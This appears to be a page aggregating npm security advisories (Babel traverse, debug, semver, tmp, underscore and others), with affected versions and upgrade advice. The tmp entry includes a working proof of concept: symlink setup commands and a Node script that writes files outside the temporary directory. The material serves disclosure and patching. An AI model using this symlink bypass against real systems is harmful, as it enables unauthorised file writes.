Version Details and Security Vulnerabilities

Versions of deep-extend before 0.5.1 are vulnerable to prototype pollution.

Recommendation

Update to version 0.5.1 or later.

Impact

Using Babel to compile code that was specifically crafted by an attacker can lead to arbitrary code execution during compilation, when using plugins that rely on the path.evaluate()or path.evaluateTruthy() internal Babel methods.

Known affected plugins are:

• @babel/plugin-transform-runtime
• @babel/preset-env when using its useBuiltIns option
• Any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider, such as babel-plugin-polyfill-corejs3, babel-plugin-polyfill-corejs2, babel-plugin-polyfill-es-shims, babel-plugin-polyfill-regenerator

No other plugins under the @babel/ namespace are impacted, but third-party plugins might be.

Users that only compile trusted code are not impacted.

Patches

The vulnerability has been fixed in @babel/traverse@7.23.2.

Babel 6 does not receive security fixes anymore (see Babel's security policy), hence there is no patch planned for babel-traverse@6.

Workarounds

• Upgrade @babel/traverse to v7.23.2 or higher. You can do this by deleting it from your package manager's lockfile and re-installing the dependencies. @babel/core >=7.23.2 will automatically pull in a non-vulnerable version.
• If you cannot upgrade @babel/traverse and are using one of the affected packages mentioned above, upgrade them to their latest version to avoid triggering the vulnerable code path in affected @babel/traverse versions:
  • @babel/plugin-transform-runtime v7.23.2
  • @babel/preset-env v7.23.2
  • @babel/helper-define-polyfill-provider v0.4.3
  • babel-plugin-polyfill-corejs2 v0.4.6
  • babel-plugin-polyfill-corejs3 v0.8.5
  • babel-plugin-polyfill-es-shims v0.10.0
  • babel-plugin-polyfill-regenerator v0.5.3

A vulnerability classified as problematic has been found in debug-js debug up to 3.0.x. This affects the function useColors of the file src/node.js. The manipulation of the argument str leads to inefficient regular expression complexity. Upgrading to version 3.1.0 is able to address this issue. The name of the patch is c38a0166c266a679c8de012d4eaccec3f944e685. It is recommended to upgrade the affected component. The identifier VDB-217665 was assigned to this vulnerability. The patch has been backported to the 2.6.x branch in version 2.6.9.

Affected versions of debug are vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter.

As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.

This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.

Recommendation

Version 2.x.x: Update to version 2.6.9 or later. Version 3.1.x: Update to version 3.1.0 or later. Version 3.2.x: Update to version 3.2.7 or later. Version 4.x.x: Update to version 4.3.1 or later.

A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.

Affected versions of sync-exec use files located in /tmp/ to buffer command results before returning values. As /tmp/ is almost always set with world readable permissions, this may allow low privilege users on the system to read the results of commands run via sync-exec under a higher privilege user.

Recommendation

There is currently no direct patch for sync-exec, as the child_process.execSync function provided in Node.js v0.12.0 and later provides the same functionality natively.

The best mitigation currently is to update to Node.js v0.12.0 or later, and migrate all uses of sync-exec to child_process.execSync().

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

• Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

• check the folder is empty:

ls -lha $HOME/mydir1 | grep "tmp-"

• run the poc

node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

• the temporary file is created under $HOME/mydir1 (outside the tmpDir):

ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]

• main.js

// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

The package underscore from 1.13.0-0 and before 1.13.0-2, from 1.3.2 and before 1.12.1 are vulnerable to Arbitrary Code Execution via the template function, particularly when a variable property is passed as an argument as it is not sanitized.